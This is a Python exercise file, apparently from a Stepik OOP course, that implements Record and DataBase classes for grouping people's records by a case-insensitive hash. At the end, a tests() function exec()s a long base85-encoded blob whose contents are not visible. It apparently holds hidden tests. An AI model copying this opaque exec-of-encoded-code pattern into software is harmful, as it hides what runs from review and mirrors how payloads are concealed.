py_stepik/mod_oop/3.6_09_database.py

163 lines
8.2 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"""
https://stepik.org/lesson/701991/step/9?unit=702092
Объявите класс с именем DataBase (база данных - БД), объекты которого создаются командой:
db = DataBase(path)
где path - путь к файлу с данными БД (строка).
Также в классе DataBase нужно объявить следующие методы:
write(self, record) - для добавления новой записи в БД, представленной объектом record;
read(self, pk) - чтение записи из БД (возвращает объект Record) по ее уникальному идентификатору pk (уникальное целое положительное число); запись ищется в значениях словаря (см. ниже)
Каждая запись БД должна описываться классом Record, а объекты этого класса создаваться командой:
record = Record(fio, descr, old)
где fio - ФИО некоторого человека (строка); descr - характеристика человека (строка); old - возраст человека (целое число).
В каждом объекте класса Record должны формироваться следующие локальные атрибуты:
pk - уникальный идентификатор записи (число: целое, положительное); формируется автоматически при создании каждого нового объекта;
fio - ФИО человека (строка);
descr - характеристика человека (строка);
old - возраст человека (целое число).
Реализовать для объектов класса Record вычисление хэша по атрибутам: fio и old (без учета регистра). Если они одинаковы для разных записей, то и хэши должны получаться равными. Также для объектов класса Record с одинаковыми хэшами оператор == должен выдавать значение True, а с разными хэшами - False.
Хранить записи в БД следует в виде словаря dict_db (атрибут объекта db класса DataBase), ключами которого являются объекты класса Record, а значениями список из объектов с равными хэшами:
dict_db[rec1] = [rec1, rec2, ..., recN]
где rec1, rec2, ..., recN - объекты класса Record с одинаковыми хэшами.
Для наполнения БД прочитайте строки из входного потока с помощью команды:
lst_in = list(map(str.strip, sys.stdin.readlines()))
где каждая строка представлена в формате:
"ФИО; характеристика; возраст"
Например:
Балакирев С.М.; программист; 33
Кузнецов А.В.; разведчик-нелегал; 35
Суворов А.В.; полководец; 42
Иванов И.И.; фигурант всех подобных списков; 26
Балакирев С.М.; преподаватель; 37
Каждая строка должна быть представлена объектом класса Record и записана в БД db (в словарь db.dict_db).
P.S. На экран ничего выводить не нужно.
Sample Input:
Балакирев С.М.; программист; 33
Кузнецов Н.И.; разведчик-нелегал; 35
Суворов А.В.; полководец; 42
Иванов И.И.; фигурант всех подобных списков; 26
Балакирев С.М.; преподаватель; 33
Sample Output:
"""
import sys
# здесь объявляйте классы
class Record:
__pk: int = 0
def __new__(cls, *args, **kwargs):
cls.__pk += 1
return super().__new__(cls)
def __init__(self, fio: str, descr: str, old: int):
self.fio, self.descr, self.old = fio, descr, old
self.__pk = self.__pk
def __repr__(self):
return f"{self.__class__.__name__}{(self.fio, self.descr, self.old)!r}"
@property
def pk(self) -> int:
return self.__pk
def __hash__(self):
return hash((self.fio.lower(), self.old))
def __eq__(self, other):
return hash(self) == hash(other)
def __ne__(self, other):
return hash(self) != hash(other)
class DataBase:
def __init__(self, path: str):
self.path = path
self.dict_db = {}
self.__records_by_pk = {}
def __repr__(self):
return f"{self.__class__.__name__}({self.path!r})"
def read(self, pk) -> Record:
return self.__records_by_pk[pk]
def write(self, record: Record):
self.__records_by_pk[record.pk] = record
self.dict_db.setdefault(record, []).append(record)
if sys.argv[-1] == "test":
lst_in = [
"Балакирев С.М.; программист; 33",
"Кузнецов Н.И.; разведчик-нелегал; 35",
"Суворов А.В.; полководец; 42",
"Иванов И.И.; фигурант всех подобных списков; 26",
"Балакирев С.М.; преподаватель; 33",
]
else:
# считывание списка из входного потока
lst_in = list(map(str.strip, sys.stdin.readlines())) # список lst_in не менять!
# здесь продолжайте программу (используйте список строк lst_in)
db = DataBase("/dev/null")
for name, descr, old in map(lambda x: x.split("; "), lst_in):
db.write(Record(name, descr, int(old)))
def tests():
code = (
b"WFS2tbailSWhi7~E@WwAbYEm*E_PvTb!BrXDJfepU0X0+3So0|WpZ>Nba`-PC}b{VWpiV4DIh&"
+ b"PAaitbAYpD~Aar?fWhi7WW@&FJAU!=Gb98bbVQyp~ba`-PC}b{gY-A}QJv|_4ZgealBG9+cz0k1H"
+ b"htRdqz0kPPkI=l(xFFGi(7VvS(6Z35(SXs9AkehXzR<hSw$QcEy&%xB(TmZ7(TpI`fzZFuxY2>oz"
+ b"R<cL(74dIAke<hvC)dqwa~iJg3!LuvLMj9(7VvE(Sgx{(6As<Wn*+8(Sab)z0k1GvCzKJfY83syd"
+ b"co9(Sp%{(74dC(Sy-~(7w>JIv`|ab7OKKDA9q@g3*A`zR<eRuqiAcW@&FADA9q@g3*A`zR<eRuqi"
+ b"AcZ){{BDA9({wa~lJzR<NG(TC8u(Sgvr(7q`m3JPRmGBPtXH6T48L}7GcLSb`dC?_#8Gbbquaxox"
+ b"1AW~&xZ*pWPCuV7HCoCW*WMy+>awjYxF)%3#axx%2AW~&xZ*pWPCuV7HCoCW*WMy+>awjYxF)%3#"
+ b"VRLh3a&#baF)naxAR#><axyM(Yb+ol(SXpf(6Z3I(TmWvAkeqaz0k1HhtRdqz0kPPk08*n(Sp%{("
+ b"74dC(Sy-~(6AtIYar2sAkl!(u+X>Az0r%&g&@$r(6P~q(6!LI(Sp#v(6S)Vy3o7Ou+f3hfzYrZQe"
+ b"|Ura%3V33S?q3GBY$aE_ZTibY&=VGARmjGBO}NAY@`PGBY$aE^=jIWGHenE^uop3So0|WpZ>Naxy"
+ b"Y5aBCnvJs@&2E^uogVQyp~axyY5W@&FAJv|_DGA?FmZy;fAWFT@fGA?9gb7OKKJv|_DGA?9gb7OK"
+ b"KVQyp~axyY5Z){{BJv|_DGA?gyWGo;e(7(}u(6}JbzR<tWwb6jku+fIlxY3W%g&=owX>?^E(6}IS"
+ b"Wnp9>(7(}u(7w@!(74fp(6G?G(7n-%(77PczR<DJiqN&ty3v9l(74dN(6!LD(Sjh*z0kGLve32Bf"
+ b"Y80si_o<o(6`XN(6G^m(6!LL(74f$AkeVUg3*A`xX`iDgVBP}zR<EF3JPI!b7gXLAZ%rBC}d(XGB"
+ b"Y$aE@WwAbYEm*DIh&PATcZ;BGA3iwa~KAwb6jkz0khUwII=l(74fo(7VvSAke<hvC)dqwa~iJg3!"
+ b"LuvLMj1Akl%)yU@PSve2;6fY7xdWNBk`Uu0q;3JPXvZy-G&Y;$y9X>MCET`qHQY-w~TCp#x8TQFT"
+ b"Nb98cPa40DXb|5_<Y-w|JC}d(TWNBk`Uu0q~c42IFWpgMgDGF(3AZBTAAU!=GBG8f0u+Y2Eu+X~D"
+ b"xY2;nwa~I4(4j8SoGv0d3LqdLAYpTJWpZ>NY-MgJc3UuADIh&PATl6fZe$>AWo{^TTQOZJAU!=GF"
+ b"(6@XWFTy1ZYXwJGF>SkJv|^XAYpD~AZ%rBD0W*jT`3?vJs>eGAR^Gc(6!LA(6!Nk(7n*UAkl%*gw"
+ b"VdxfY7|qxY2;nzR<GJu+Y6A(Sgvr(7w>J(6G^f(TpHuX=8L>WMU!;ARr(h3Tb8_W@&FAJv|^I(38"
+ b"-$(7Dlq(Sab)kuD-S3LqdLAYpTJWpZ>NY-MgJc3UuADIh&PATl6fZe$>AWo{^TTQOZJAU!=GG9Y1"
+ b"YWFTy1ZYXwJGF>SkJv|^XAYpD~AZ%rBD0W*jT`3?vJs>eGAR^Gc(6!LA(6!Nk(7n*UAkl%*gwVdx"
+ b"fY7|qxY2;nzR<GJu+Y6A(Sgvr(7w>J(6G^f(TpHuX=8L>WMU!"
)
exec(__import__("base64").b85decode(code))
if __name__ == "__main__":
import doctest
doctest.testmod()
tests()